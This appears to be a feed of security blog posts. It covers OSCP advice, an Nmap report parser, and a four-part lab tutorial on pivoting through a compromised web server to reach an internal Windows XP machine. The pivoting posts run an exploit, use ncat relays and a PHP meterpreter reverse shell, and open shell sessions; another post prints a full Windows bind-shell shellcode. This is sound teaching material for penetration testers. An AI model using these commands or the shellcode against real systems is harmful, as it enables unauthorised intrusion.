Thoughts about PWB and OSCP

September 5, 2012, 7:36 pm

The Offensive Security Certified Professional (OSCP) certification is awarded to students who successfully complete Offensive Security's Pentesting with Backtrack (PWB) course. This is an intense hands on course, where students are expected to use the knowledge and tools they've obtained, to hack into several machines in a virtual network. There is no hand holding, no spoon feeding, and the only hint a student usually receives, is "Try Harder". At the end of the course, the student must pass an exam and submit a penetration test report in order to earn the certificate. Unlike most exams, this one is 24 hours long, and the student must hack into several machines to obtain enough points to pass the exam.

Over the past four months I had been taking PWB, and last weekend, I received an email informing me that I had completed the course and passed the exam. This was the most fun I've had in a course, and the most intense exam I've ever done. Prior to taking the course, I had heard much about it. Stories about people having a hard time, failing the exam, re-taking the exam multiple times, and so on, gave this course a reputation for being difficult, and producing students who had the skills to backup their paper certificate.

My experiences have been positive in the course. By the end of my 90 day lab time, I had hacked into all the machines, including the notoriously difficult ones, and penetrated the additional networks. During the exam, I scored the points I needed to pass after about 17 hours, and continued to try to score more. For folks interested in taking the course, I offer the following advice:

Read, and read some more: The course materials do a great job of preparing you, but ultimately, you will need to do your own reading and research. Google is a great resource - use it.
Hack into everything in the lab: Not just for bragging rights, but the experience you gain will be invaluable. The lab is so diverse with different setups, that each machine is a challenge on its own right.
Take breaks: Taking a break from the computer every couple of hours will relieve tension and relax your mind. This has come in handy for a couple of machines that seemed impossible. An hour of sleep, and the solution came to me.
Know some programming: It will aid you tremendously if you can write your own scripts to automate certain things. Know some bash scripting (since you'll be using Backtrack Linux), and at least python, perl, or ruby for scripts that demand more.

Finally, don't give up. You will at some point, hit a brick wall (or several), during the lab. Remember that every machine in the lab can be broken into, so it's not impossible. Keep trying, and try harder!

↧

Parsing Nmap's output

September 15, 2012, 7:52 am

≫ Next: Growl style for Chrome notifications

≪ Previous: Thoughts about PWB and OSCP

Nmap is a favorite tool when it comes to running port scans. The output can be a bit much however, especially when you're dealing with many targets with many services. Nmap is capable of producing reports in text, grepable, and XML formats. When I was working on my OSCP, I wanted a lightweight tool that could quickly parse my Nmap reports and display clean results. I couldn't find one that did what I wanted, so I hacked something together. The end result, is a script called scanreport.sh

scanreport.sh reads an Nmap grepable output file and displays the results based on IP address, port number, or service. The tool is most helpful when you've got several machines that you've scanned, so as an example, we'll scan five machines and examine the output. The IP addresses of the targets are put in a targets.txt file:


$ cat targets.txt 
192.168.81.171
192.168.81.182
192.168.81.143
192.168.81.119
192.168.81.190

We'll scan these IP addresses and save the output in grepable format, in a file called scan.txt:


# nmap -sV -oG scan.txt -iL targets.txt 

Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-15 10:17 EDT
Nmap scan report for 192.168.81.171
Host is up (0.049s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 5.3p1 Debian 3ubuntu4 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.2.14 ((Ubuntu))
443/tcp open  ssl/http Apache httpd 2.2.14 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Nmap scan report for 192.168.81.182
Host is up (0.040s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 5.3p1 Debian 3ubuntu4 (protocol 2.0)
80/tcp   open  http     Apache httpd 2.2.14 ((Ubuntu))
443/tcp  open  ssl/http Apache httpd 2.2.14 ((Ubuntu))
8080/tcp open  http     Apache Tomcat/Coyote JSP engine 1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Nmap scan report for 192.168.81.143
Host is up (0.051s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.2.16 ((Debian))
443/tcp open  ssl/http Apache httpd 2.2.16 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Nmap scan report for 192.168.81.119
Host is up (0.055s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)
80/tcp   open  http     Apache httpd 2.2.16 ((Debian))
443/tcp  open  ssl/http Apache httpd 2.2.16 ((Debian))
3690/tcp open  svnserve Subversion
8080/tcp open  http     Apache httpd 2.2.16 ((Debian))
9418/tcp open  git?
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Nmap scan report for 192.168.81.190
Host is up (0.045s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)
80/tcp   open  http     lighttpd 1.4.28
443/tcp  open  ssl/http lighttpd 1.4.28
3306/tcp open  mysql    MySQL 5.1.63-0+squeeze1
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 5 IP addresses (5 hosts up) scanned in 21.29 seconds

If we look at the contents of the output file, scan.txt, we'll see that it contains Nmap's comments (lines starting with #):


# Nmap 6.01 scan initiated Sat Sep 15 10:17:50 2012 as: nmap -sV -oG scan.txt -iL targets.txt
Host: 192.168.81.171 () Status: Up
Host: 192.168.81.171 () Ports: 22/open/tcp//ssh//OpenSSH 5.3p1 Debian 3ubuntu4 (protocol 2.0)/, 80/open/tcp//http//Apache httpd 2.2.14 ((Ubuntu))/, 443/open/tcp//ssl|http//Apache httpd 2.2.14 ((Ubuntu))/ Ignored State: closed (997)
Host: 192.168.81.182 () Status: Up
Host: 192.168.81.182 () Ports: 22/open/tcp//ssh//OpenSSH 5.3p1 Debian 3ubuntu4 (protocol 2.0)/, 80/open/tcp//http//Apache httpd 2.2.14 ((Ubuntu))/, 443/open/tcp//ssl|http//Apache httpd 2.2.14 ((Ubuntu))/, 8080/open/tcp//http//Apache Tomcat|Coyote JSP engine 1.1/ Ignored State: closed (996)
Host: 192.168.81.143 () Status: Up
Host: 192.168.81.143 () Ports: 22/open/tcp//ssh//OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)/, 80/open/tcp//http//Apache httpd 2.2.16 ((Debian))/, 443/open/tcp//ssl|http//Apache httpd 2.2.16 ((Debian))/ Ignored State: closed (997)
Host: 192.168.81.119 () Status: Up
Host: 192.168.81.119 () Ports: 22/open/tcp//ssh//OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)/, 80/open/tcp//http//Apache httpd 2.2.16 ((Debian))/, 443/open/tcp//ssl|http//Apache httpd 2.2.16 ((Debian))/, 3690/open/tcp//svnserve//Subversion/, 8080/open/tcp//http//Apache httpd 2.2.16 ((Debian))/, 9418/open/tcp//git?/// Ignored State: closed (994)
Host: 192.168.81.190 () Status: Up
Host: 192.168.81.190 () Ports: 22/open/tcp//ssh//OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)/, 80/open/tcp//http//lighttpd 1.4.28/, 443/open/tcp//ssl|http//lighttpd 1.4.28/, 3306/open/tcp//mysql//MySQL 5.1.63-0+squeeze1/ Ignored State: closed (996)
# Nmap done at Sat Sep 15 10:18:11 2012 -- 5 IP addresses (5 hosts up) scanned in 21.29 seconds

These need to be removed before we can parse it with scanreport.sh. You can do this manually, or what I prefer, is to use grep and redirect the non-commented lines to another file, such as:


grep -v ^# scan.txt > report.txt

Once the report is ready, we can use scanreport.sh to display the results:



# scanreport.sh -f report.txt 

Host: 192.168.81.171 () 
22 open tcp  ssh  OpenSSH 5.3p1 Debian 3ubuntu4 (protocol 2.0) 
80 open tcp  http  Apache httpd 2.2.14 ((Ubuntu)) 

Host: 192.168.81.182 () 
22 open tcp  ssh  OpenSSH 5.3p1 Debian 3ubuntu4 (protocol 2.0) 
80 open tcp  http  Apache httpd 2.2.14 ((Ubuntu)) 
443 open tcp  ssl|http  Apache httpd 2.2.14 ((Ubuntu)) 

Host: 192.168.81.143 () 
22 open tcp  ssh  OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0) 
80 open tcp  http  Apache httpd 2.2.16 ((Debian)) 

Host: 192.168.81.119 () 
22 open tcp  ssh  OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0) 
80 open tcp  http  Apache httpd 2.2.16 ((Debian)) 
443 open tcp  ssl|http  Apache httpd 2.2.16 ((Debian)) 
3690 open tcp  svnserve  Subversion 
8080 open tcp  http  Apache httpd 2.2.16 ((Debian)) 

Host: 192.168.81.190 () 
22 open tcp  ssh  OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0) 
80 open tcp  http  lighttpd 1.4.28 
443 open tcp  ssl|http  lighttpd 1.4.28

Without specifying anything other than the report file, we get a listing of every target and open ports that were discovered. We can be more specific and ask for only open ports from 192.168.81.119:


# scanreport.sh -f report.txt -i 192.168.81.119

Host: 192.168.81.119 () 
22 open tcp  ssh  OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0) 
80 open tcp  http  Apache httpd 2.2.16 ((Debian)) 
443 open tcp  ssl|http  Apache httpd 2.2.16 ((Debian)) 
3690 open tcp  svnserve  Subversion 
8080 open tcp  http  Apache httpd 2.2.16 ((Debian))

Let's say we want to know which targets have port 3690 open:


# scanreport.sh -f report.txt -p 3690

Host: 192.168.81.119 () 
3690 open tcp  svnserve  Subversion

We can also look for a specific service by name. Let's say we want to find hosts running lighttpd:


# scanreport.sh -f report.txt -s lighttpd

Host: 192.168.81.190 () 
80 open tcp  http  lighttpd 1.4.28 
443 open tcp  ssl|http  lighttpd 1.4.28

It's easy enough to modify the script and add additional functionality. Feel free to modify it and adapt it to your needs:


#!/bin/bash

function usage {
    echo "usage: $1 [-f nmap.grepable] [-i IP] [-p port] [-s service] [-P protocol]"
}

db=""
ip=""
port=""
all=0
proto=""
while getopts "f:i:p:P:s:" OPT; do
    case $OPT in
        f) db=$OPTARG;;
        i) ip=$OPTARG;;
        p) port=$OPTARG;;
        s) service=$OPTARG;;
        P) proto=$OPTARG;;
        *) usage $0; exit;;
    esac
done

if [[ -z $db ]]; then
    # check if nmap-db.grep exists
    if [[ -f ${HOME}/nmap-db.grep ]]; then
        db=${HOME}/nmap-db.grep
    else
        usage $0
        exit
    fi
fi

if [[ ! -z $ip ]]; then # search by IP
    r=$(grep -w $ip $db | sed 's/Ports: /\n/g' |  tr '/' '\t' | tr ',' '\n' | sed 's/^ //g' | grep -v "Status: Up" | sed 's/Host:/\n\\033[0;32mHost:\\033[0;39m/g' | grep -v closed)
    echo -e "$r"

elif [[ ! -z $port ]]; then # search by port number
    r=$(grep -w $port $db | sed 's/Ports: /\n/g' |  tr '/' '\t' | tr ',' '\n' | sed 's/^ //g' | grep -v "Status: Up" | grep -e "Host: " -e ^${port} | sed 's/Host:/\n\\033[0;32mHost:\\033[0;39m/g' | grep -v closed)
    echo -e "$r"

elif [[ ! -z $service ]]; then # search by service name
    r=$(grep -w -i $service $db | sed 's/Ports: /\n/g' |  tr '/' '\t' | tr ',' '\n' | sed 's/^ //g' | grep -v "Status: Up" | grep -i -e "Host: " -e ${service} | sed 's/Host:/\n\\033[0;32mHost:\\033[0;39m/g' | grep -v closed)
    echo -e "$r"

else
    r=$(cat $db | sed 's/Ports: /\n/g' | tr '/' '\t' | tr ',' '\n' | sed 's/^ //g' | grep -v "Status: Up" | sed 's/Host:/\n\\033[0;32mHost:\\033[0;39m/g' | grep -v closed)
    echo -e "$r"
fi

I'm sure the script is not without some bugs, however for the most part I've had no issues with it, and I've found it helpful when combined with onetwopunch.sh.

↧

Growl style for Chrome notifications

September 29, 2012, 9:27 am

≫ Next: Introduction to pivoting, Part 1: SSH

≪ Previous: Parsing Nmap's output

I use Chrome's desktop notifications when using Gtalk, and Growl notifications for other applications. I wanted a Growl style that looked like Chrome's desktop notifications, but was unable to find one after combing through Google searches. I finally said "screw it", and decided to make my own.

I looked at the included Growl styles and found that NotifyOSX by Daniel Bergey seemed to match the Chrome notification to some extent. After a bit of tinkering, I came up with something that looks similar enough. Tested on Growl 1.2.2.

Download here: Chromify Growl Style

↧

Introduction to pivoting, Part 1: SSH

October 5, 2012, 11:38 pm

≫ Next: Introduction to pivoting, Part 2: Proxychains

≪ Previous: Growl style for Chrome notifications

Pivoting is a technique that allows attackers to use a compromised system to attack other machines in the same network, or more devastatingly, machines in another network that the compromised machine has access to. There are several techniques that can be used to pivot deeper into the network, and I'll be describing some of them in the next few articles. I've found that this topic can be a bit confusing to beginners, and I hope that these articles will help clear things up. In this article, we'll look at pivoting with SSH.

The scenario

There are two networks, 192.168.81.0/24 and 192.168.63.0/24. Our attacking machine, and a web server that has access to the 192.168.63.0/24 network are located in the 192.168.81.0/24 network. Our target, a Windows XP SP2 machine, is located in the 192.168.63.0/24. Our attacking machine does not have direct access to it, but the web server does.

We've already compromised the web server and obtained SSH access to it as the user webmaster. Our goal is to use the web server as our pivot and obtain a remote shell on the Windows XP machine.

The exploit

The Windows XP machine runs a vulnerable service called Server-Strcpy on port 10000. Server-Strcpy is part of the SecurityTube Exploit Research Megaprimer series, and can be downloaded at http://code.securitytube.net/Server-Strcpy.exe. I've written a quick exploit for Server-Strcpy.exe that binds a shell on port 4444, and can be downloaded here.

The attack

Since we have SSH access to the web server, we can use SSH port forwarding to use it as our pivot. We run the following command on our attacking machine:


ssh -L 127.0.0.1:10000:192.168.63.142:10000 webmaster@192.168.81.181

This tells SSH that we want to forward connections to port 10000 on our machine to port 10000 on 192.168.63.141 (Windows XP) through 192.168.81.181 (web server).

Once we've authenticated and logged in to 192.168.81.181, we can verify that port 10000 is running on our machine:


# netstat -antp | grep 10000
tcp        0      0 127.0.0.1:10000         0.0.0.0:*               LISTEN      8230/ssh

We're ready to run our exploit. Our exploit takes two arguments, the target's IP address and the port to connect to. Since we are pivoting our attack through the web server, we specify port 10000 on our own machine:


# ./serverstrcpy.py 127.0.0.1 10000
[+] sending payload of length 1479
[+] done, check port 4444 on target

The exploit claims to be successful, and we can verify it by using netcat to connect to port 4444 on the target. Keep in mind that we do not have direct access to the target, so we have to use SSH's local port forwarding again. This time, we forward port 4444 on our machine to port 4444 on the target:


ssh -L 127.0.0.1:4444:192.168.63.142:4444 webmaster@192.168.81.181

Now when we connect to port 4444 on our machine with netcat, we get a shell on the Windows XP machine:


# nc -v 127.0.0.1 4444
localhost [127.0.0.1] 4444 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.63.142
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.63.2

C:\WINDOWS\system32>

We've successfully pivoted our attack through the web server and obtained a remote shell on the Windows XP machine on the internal network. That concludes the first part of this series of pivoting articles. In part 2, we'll look at using Proxychains to pivot our exploit and hack into the Windows XP machine.

↧

Introduction to pivoting, Part 2: Proxychains

October 10, 2012, 7:01 am

≫ Next: Introduction to pivoting, Part 3: Ncat

≪ Previous: Introduction to pivoting, Part 1: SSH

This is part 2 of a series of posts on pivoting techniques. In part 1, we used SSH port forwarding to pivot our exploit and obtain remote access to our Windows XP machine. In this article, we'll be performing the same attack, but instead of using SSH local port forwarding, we'll use Proxychains and an SSH SOCKS proxy.

Proxychains sends connections made by applications through a proxy specified in the proxychains.conf file. By default, it uses Tor's SOCKS port 9050. Proxychains 4 can be downloaded from https://github.com/haad/proxychains.

The scenario

We've already compromised the web server and obtained SSH access to it as the user webmaster. Our goal is to use the web server as our pivot and obtain a remote shell on the Windows XP machine.

The exploit

The attack

To use Proxychains, we need to connect to the web server via SSH and set it as a SOCKS proxy. This is easily accomplished with the -D option in SSH. This is the command we would run on our machine:


ssh -D 127.0.0.1:8888 webmaster@192.168.81.181

We would now have port 8888 listening on our machine, and any connection sent to that port will be proxied over to the web server, and the web server will make the connection on our behalf.

Proxychains 4 allows us to specify a configuration file to use, so we'll create a simple one that basically tells it to use port 8888 on our machine as the proxy:


strict_chain
quiet_mode
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
localnet 127.0.0.0/255.0.0.0

[ProxyList]
socks4  127.0.0.1 8888

We'll save this as pivot.conf. We'll use the same exploit as before, which should open a bind shell on port 4444 on our Windows XP machine. Instead of running the exploit directly, we pass it as an argument to Proxychains:


# proxychains4 -f ~/pivot.conf /usr/bin/python exploit.py 192.168.63.142 10000
[proxychains] config file found: /root/pivot.conf
[proxychains] preloading /usr/local/lib/libproxychains4.so
[+] sending payload of length 1479
[+] done
#

The -f option allows us to tell Proxychains which configuration file we want to use; in this case, pivot.conf. Notice that when we executed exploit.py, we specified the actual IP address of the target, and not 127.0.0.1, like we did in part 1. Proxychains makes it look like the target is directly accessible to us.

Now that the exploit has been executed, we can attempt to connect to the target on port 4444 and obtain our shell. In this case, I'll use ncat


# proxychains4 -f ~/pivot.conf ncat -v 192.168.63.142 4444
[proxychains] config file found: /root/pivot.conf
[proxychains] preloading /usr/local/lib/libproxychains4.so
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.63.142:4444.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.63.142
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.63.2

C:\Documents and Settings\Administrator\Desktop>

We've successfully obtained a remote shell on a machine on the internal network by pivoting with Proxychains. So far we've required SSH in order to pivot our attack. In part 3, we'll use ncat's client-to-client and listener-to-listener relays to perform our pivoting; a technique that does not require SSH.

↧

Introduction to pivoting, Part 3: Ncat

October 16, 2012, 8:56 pm

≫ Next: Introduction to pivoting, Part 4: Metasploit

≪ Previous: Introduction to pivoting, Part 2: Proxychains

In the past two articles, we pivoted our exploit to our target with the help of SSH. If SSH is not available, we can try to use client-to-client and listener-to-listener relays with netcat, as described by Ed Skoudis in Secrets of America's Top Pen Testers. We will modify Skoudis' technique by using ncat instead of netcat. Ncat is meant to be a replacement for netcat, and is included in the Nmap 5.x and higher package. I prefer ncat over netcat for this as it allows us to use the same syntax to set up the relays regardless of whether the pivot is running Linux, Windows, or Mac OS X.

The scenario

We've already compromised the web server and obtained some form of shell access to it, such as a reverse shell for instance. Our goal is to use the web server as our pivot and obtain a remote shell on the Windows XP machine.

The exploit

The attack

We need to run ncat on our attacking machine, and on the web server. This means that we need to transfer ncat over to the web server. If your pivot is a Linux machine, you can build a static ncat binary using the following:


# LDFLAGS="-static" ./configure && make ncat_build

If the pivot is a Windows machine, you can download a static build of ncat.exe from http://seclists.org/nmap-dev/2011/q2/1090. Once ncat has been copied over to the pivot, we can begin.

On our attacking machine, we setup a listener-to-listener relay using the following command:


# ncat -lv --broker -m2 10000
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Listening on :::10000
Ncat: Listening on 0.0.0.0:10000

At this point, we'll have port 10000 listening on our machine. On the web server we execute the following command:


$ ncat -v 192.168.81.125 10000 -c "ncat -v 192.168.63.142 10000"
Ncat: Version 5.51 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.81.125:10000.
Ncat: Version 5.51 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.63.142:10000.

This tells ncat to connect to our ncat instance listening on port 10000, and then to connect to port 10000 on the target. This completes the setup, and data from our machine will flow through the web server and to the target.

Note that the syntax for executing the client-to-client relay on the pivot is the same, regardless of whether it's a Linux, Windows, or OS X machine. There's nothing else that needs to be done, such as creating a pipe. Compare it to the technique that uses traditional netcat to see the difference.

We can now execute our exploit. Keep in mind that we need to send it to port 10000 on our machine:


# ./exploit.py 127.0.0.1 10000
[+] sending payload of length 1479
[+] done
#

With the exploit sent, we can now terminate the ncat relays. Assuming the exploit worked, a bind shell should be listening on 4444 on the target. In order to access it, we once again setup ncat relays, only this time we'll specify port 4444. On our machine we run the following command:


# ncat -lv --broker -m2 4444
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

On the web server, we setup the client-to-client relay:


$ ncat -v 192.168.81.125 4444 -c "ncat -v 192.168.63.142 4444"
Ncat: Version 5.51 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.81.125:4444.
Ncat: Version 5.51 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.63.142:4444.

Using netcat (or ncat), we can connect to port 4444 on our machine to get a remote shell on the target:


# nc -v 127.0.0.1 4444
localhost [127.0.0.1] 4444 (?) open


C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.63.142
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.63.2

C:\Documents and Settings\Administrator\Desktop>

We've obtained remote shell access to the Windows XP target once more.

Ncat is a great tool and builds enhancements into the old netcat. It's small, available for major operating systems, and easy to use. In part 4 of this serieis, we'll look at Metasploit's pivoting feature. If Metasploit is your exploitation framework of choice, you'll want to learn to use it to pivot your attacks.

↧

Introduction to pivoting, Part 4: Metasploit

October 22, 2012, 11:37 am

≫ Next: Binary to shellcode

≪ Previous: Introduction to pivoting, Part 3: Ncat

In this article, we'll look at pivoting using Metasploit. If you have the option to use Metasploit, you'll find that it makes pivoting much easier. Metasploit can be installed on Linux, Windows, and Mac OS X, which makes it a pretty versatile tool. The number of modules included in the framework grows continuously, and its low learning curve makes it popular among hackers.

The scenario

The exploit

The Windows XP machine runs a vulnerable service called Server-Strcpy on port 10000. Server-Strcpy is part of the SecurityTube Exploit Research Megaprimer series, and can be downloaded at http://code.securitytube.net/Server-Strcpy.exe. I ported the python exploit we used in the previous articles into a Metasploit module which can be downloaded here. It should be saved in ~/.msf4/modules/exploits/windows/misc/.

The attack

We begin by gaining access to the web server with Metasploit. We've created a PHP reverse meterpreter shell payload using php/meterpreter_reverse_tcp. This was copied to the web server and will connect back to our machine and give us a meterpreter shell when we load it. Let's start up our handler and gain our meterpreter shell:


# msfcli exploit/multi/handler PAYLOAD=php/meterpreter_reverse_tcp LHOST=192.168.81.125 LPORT=9999 E
[*] Please wait while we load the module tree...

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

     Trace program: running

           wake up, Neo...
        the matrix has you
      follow the white rabbit.

          knock, knock, Neo.

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-
                  ``-..__``--`


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 961 exploits - 508 auxiliary - 153 post
+ -- --=[ 257 payloads - 28 encoders - 8 nops

PAYLOAD => php/meterpreter_reverse_tcp
LHOST => 192.168.81.125
LPORT => 9999
[*] Started reverse handler on 192.168.81.125:9999 
[*] Starting the payload handler...
[*] Meterpreter session 1 opened (192.168.81.125:9999 -> 192.168.81.181:64796) at 2012-10-05 16:26:12 -0400

meterpreter >

We've obtained a meterpreter shell on the web server. We'll need to background meterpreter so we can setup our pivot. To do this, we can use Metasploit's route command to associate the new route to our meterpreter session:


meterpreter > background
[*] Backgrounding session 1...
msf  exploit(handler) > route add 192.168.63.0 255.255.255.0 1
[*] Route added
msf  exploit(handler) > route print

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.63.0       255.255.255.0      Session 1

msf  exploit(handler) >

Our pivot setup is now complete. Let's test it by exploiting Server-Strcpy using the serverstrcpy exploit module. The target port is already set to port 1000 by default, so all we have to do is specify the target IP address and the payload. For this example, we'll use the windows/shell_bind_tcp payload:


msf  exploit(handler) > use exploit/windows/misc/serverstrcpy 
msf  exploit(serverstrcpy) > set RHOST 192.168.63.142
RHOST => 192.168.63.142
msf  exploit(serverstrcpy) > set PAYLOAD windows/shell_bind_tcp 
PAYLOAD => windows/shell_bind_tcp
msf  exploit(serverstrcpy) > exploit 

[*] Started bind handler
[*] Trying target Windows XP Pro SP2 English...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>        

C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.63.142
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.63.2

C:\Documents and Settings\Administrator\Desktop>

We've successfully pivoted our attack through the web server and obtained a remote shell on the target. This was an extremely easy setup, basically just using the route command within Metasploit to setup the pivot.

This article concludes the series on introduction to pivoting. I started this series as a way to showcase different pivoting techniques that I hoped would be helpful to beginners. If the rules of engagement allow it, pivoting will allow you to show your clients just how serious a security breach can become if an attacker can tunnel deep into the network.

↧

Binary to shellcode

March 2, 2013, 2:42 pm

≫ Next: Building Unicornscan in Kali Linux 1.0

≪ Previous: Introduction to pivoting, Part 4: Metasploit

The other day I was working on a Windows machine and downloaded a small Windows bind shellcode from https://code.google.com/p/w32-bind-ngs-shellcode/. I wanted to extract the shellcode from the bin file and pop it into my exploit. On Linux, this can be done with the following:


function bin2sc {
    # convert .bin to shellcode
    hexdump -v -e '"\\""x" 1/1 "%02x" ""' ${1}
}

Running this prints the shellcode out as one long string:


# bin2sc w32-bind-ngs-shellcode.bin 
\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x6e\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x51\x68\x32\x5f\x33\x32\x68\x66\x56\x77\x73\x68\xb7\x8f\x09\x98\x89\xe6\xb5\x03\x29\xcc\x29\xcc\x89\xe7\xd6\xf3\xaa\x41\x51\x41\x51\x57\x51\x83\xef\x2c\xa4\x4f\x8b\x5d\x3c\x8b\x5c\x1d\x78\x01\xeb\x8b\x4b\x20\x01\xe9\x56\x31\xd2\x42\x8b\x34\x91\x01\xee\xb4\x36\xac\x34\x71\x28\xc4\x3c\x71\x75\xf7\x3a\x27\x75\xeb\x5e\x8b\x4b\x24\x01\xe9\x0f\xb7\x14\x51\x8b\x4b\x1c\x01\xe9\x89\xe8\x03\x04\x91\xab\x80\x3e\x09\x75\x08\x8d\x5e\x04\x53\xff\xd0\x57\x95\x80\x3e\x73\x75\xb1\x5e\xad\xff\xd0\xad\xff\xd0\x95\x81\x2f\xfe\xff\x8f\x33\x6a\x10\x57\xad\x55\xff\xd0\x85\xc0\x74\xf8\x31\xd2\x52\x68\x63\x6d\x64\x20\x8d\x7c\x24\x38\xab\xab\xab\xc6\x47\xe9\x01\x54\x87\x3c\x24\x57\x52\x52\x52\xc6\x47\xef\x08\x57\x52\x52\x57\x52\xff\x56\xe4\x8b\x46\xfc\xe9\xca\xff\xff\xff

However, the Windows machine I was on didn't have hexdump installed. So I hacked up the following in python that extracts the hexadecimal values from the bin file and prints it out nicely formatted:


import sys
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print "usage: %s file.bin\n" % (sys.argv[0],)
        sys.exit(0)

    shellcode = "\""
    ctr = 1
    maxlen = 15

    for b in open(sys.argv[1], "rb").read():
        shellcode += "\\x" + b.encode("hex")
        if ctr == maxlen:
            shellcode += "\" +\n\""
            ctr = 0
        ctr += 1
    shellcode += "\""
    print shellcode

Running the script gives us the following output:


C:\ python.exe bin2sc.py w32-bind-ngs-shellcode.bin 
"\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x6e\x08" +
"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x51\x68\x32\x5f\x33" +
"\x32\x68\x66\x56\x77\x73\x68\xb7\x8f\x09\x98\x89\xe6\xb5\x03" +
"\x29\xcc\x29\xcc\x89\xe7\xd6\xf3\xaa\x41\x51\x41\x51\x57\x51" +
"\x83\xef\x2c\xa4\x4f\x8b\x5d\x3c\x8b\x5c\x1d\x78\x01\xeb\x8b" +
"\x4b\x20\x01\xe9\x56\x31\xd2\x42\x8b\x34\x91\x01\xee\xb4\x36" +
"\xac\x34\x71\x28\xc4\x3c\x71\x75\xf7\x3a\x27\x75\xeb\x5e\x8b" +
"\x4b\x24\x01\xe9\x0f\xb7\x14\x51\x8b\x4b\x1c\x01\xe9\x89\xe8" +
"\x03\x04\x91\xab\x80\x3e\x09\x75\x08\x8d\x5e\x04\x53\xff\xd0" +
"\x57\x95\x80\x3e\x73\x75\xb1\x5e\xad\xff\xd0\xad\xff\xd0\x95" +
"\x81\x2f\xfe\xff\x8f\x33\x6a\x10\x57\xad\x55\xff\xd0\x85\xc0" +
"\x74\xf8\x31\xd2\x52\x68\x63\x6d\x64\x20\x8d\x7c\x24\x38\xab" +
"\xab\xab\xc6\x47\xe9\x01\x54\x87\x3c\x24\x57\x52\x52\x52\xc6" +
"\x47\xef\x08\x57\x52\x52\x57\x52\xff\x56\xe4\x8b\x46\xfc\xe9" +
"\xca\xff\xff\xff"

Ta da.

↧

Building Unicornscan in Kali Linux 1.0

March 14, 2013, 12:21 pm

≫ Next: Brainpan hacking challenge

≪ Previous: Binary to shellcode

